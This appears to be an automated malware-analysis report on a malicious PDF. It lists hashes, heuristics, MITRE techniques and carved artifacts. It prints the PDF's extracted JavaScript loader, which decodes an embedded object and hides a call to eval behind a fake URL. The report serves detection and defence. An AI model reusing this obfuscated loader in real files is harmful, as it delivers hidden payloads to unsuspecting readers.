PDF malware analysis — malicious · 3d96cd8e9e4e5db7

MALICIOUS

PDF

5.1 KB First seen: 2026-05-08

MD5: 4e9a73a664e61b94e610deb0059bef3c SHA-1: 4e68eb0f456848021260535323c3f938e80f27d0 SHA-256: 3d96cd8e9e4e5db735596faf69d02ffdc904193baf68385038f3afe3d637582a

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript is likely intended to execute or extract the embedded file, which could then be run by the user or another process. The heuristics indicate a suspicious extracted artifact with a long encoded blob, further supporting the delivery of a malicious payload. The exact intent of the script is unclear due to its obfuscation, but it is highly probable that it facilitates the execution of the embedded binary.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x425	108137 bytes
SHA-256: `bb3335227f3e08b003e521febe5ba95f5513a4dc60c2b761e1880c72a94a22d9`
Detection ClamAV: No threats found Obfuscation or payload: likely 255 of 255 identifiers look randomly generated (e.g. 'bkYheCXyEmmVEZm81bkYheCXyEmmVEZm82bkYheC') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1ED	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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